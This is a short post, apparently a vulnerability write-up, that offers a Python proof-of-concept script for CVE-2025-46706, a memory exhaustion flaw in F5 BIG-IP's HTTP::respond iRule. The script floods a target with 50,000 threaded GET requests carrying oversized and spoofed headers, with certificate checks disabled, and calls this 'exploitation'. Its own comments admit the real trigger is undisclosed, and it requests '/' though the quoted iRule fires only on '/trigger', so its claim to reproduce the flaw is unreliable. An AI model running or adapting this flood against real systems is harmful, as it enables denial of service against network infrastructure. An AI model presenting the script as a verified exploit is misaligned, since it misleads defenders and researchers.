CVE-2025-46706：F5 BIG-IP HTTP::respond iRule命令导致内存资源耗尽漏洞

# CVE-2025-46706 PoC - F5 BIG-IP HTTP::respond Memory Exhaustion # This PoC demonstrates the memory resource exhaustion vulnerability # triggered by sending specially crafted requests to a virtual server # configured with an iRule containing the HTTP::respond command. import requests import threading import time TARGET_HOST = "https://target-bigip.example.com" TARGET_PATH = "/" THREAD_COUNT = 50 REQUESTS_PER_THREAD = 1000 # Sample malicious iRule that may be configured on the target # when HTTP::respond is used: # # when HTTP_REQUEST { # if { [HTTP::uri] starts_with "/trigger" } { # HTTP::respond 200 content "response" # } # } def send_malicious_request(session, thread_id): """Send crafted requests that trigger memory growth in TMOS.""" headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-46706)", "Accept": "*/*", "Connection": "keep-alive", "X-Forwarded-For": f"192.168.1.{thread_id}", # Crafted headers to trigger the memory leak path "X-Custom-Header": "A" * 4096, "Cache-Control": "no-cache, no-store, must-revalidate", } for i in range(REQUESTS_PER_THREAD): try: # The exact payload characteristics are undisclosed by F5. # Attackers would need to fuzz to find the trigger condition. response = session.get( f"{TARGET_HOST}{TARGET_PATH}", headers=headers, timeout=5, verify=False ) except Exception: pass def main(): """Launch concurrent threads to exhaust BIG-IP memory resources.""" print(f"[*] Starting CVE-2025-46706 exploitation against {TARGET_HOST}") threads = [] for t in range(THREAD_COUNT): session = requests.Session() thread = threading.Thread( target=send_malicious_request, args=(session, t) ) threads.append(thread) thread.start() for thread in threads: thread.join() print("[*] Exploitation complete. Monitor target memory utilization.") if __name__ == "__main__": main()